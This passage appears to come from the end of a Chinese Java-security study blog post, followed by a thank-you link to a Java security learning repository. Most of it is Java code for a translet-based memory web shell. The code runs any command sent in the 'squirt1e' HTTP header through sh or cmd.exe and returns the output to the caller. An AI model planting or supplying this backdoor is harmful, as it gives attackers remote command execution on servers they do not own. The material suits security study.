public void test(HttpServletRequest request, HttpServletResponse response) throws Exception {
if (request.getHeader("squirt1e") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux
? new String[]{"sh", "-c", request.getHeader("squirt1e")}
: new String[]{"cmd.exe", "/c", request.getHeader("squirt1e")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
参考连接
非常感谢下面博主的文章,在我学习的过程中给了的很大的帮助:
Drun1baby/JavaSecurityLearning: 记录一下 Java 安全学习历程,也算是半条学习路线了